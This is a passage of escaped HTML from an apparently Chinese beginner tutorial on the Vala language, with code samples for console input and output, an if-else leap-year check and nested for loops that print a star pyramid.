(官方文档)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"基本输入输出\"\u003e基本输入输出\u003c/h2\u003e\n\u003cp\u003e官方演示:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/BasicSample\" target=\"_blank\" rel=\"noopener\"\n \u003eProjects/Vala/BasicSample - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e输出一句话,都是那德行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// GLib 的 print 函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Clapton is GOD!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 使用到了 stdin / stdout / stderr 对象\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s is GOD!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Clapton\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e输入一个数字:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 双精度浮点数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类似 C 语言的 scanf,注意 out\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 不是取地址符\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%lf\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类似 C 语言的 printf\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%.3f\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e输入字符串:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Welcome, what\u0026#39;s your name?\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread_line\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;OK, %s, main course is prepared for you.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"判断语句\"\u003e判断语句\u003c/h2\u003e\n\u003cp\u003eif-else 判断:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Enter a year: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e400\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Maybe Olympics if no war.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;No Olympics.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eswtich 判断:\u003c/p\u003e\n\u003cp\u003e省略,很少用到。\u003c/p\u003e\n\u003ch2 id=\"循环语句\"\u003e循环语句\u003c/h2\u003e\n\u003cp\u003e计次数循环 for\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 金字塔输出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;*\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan 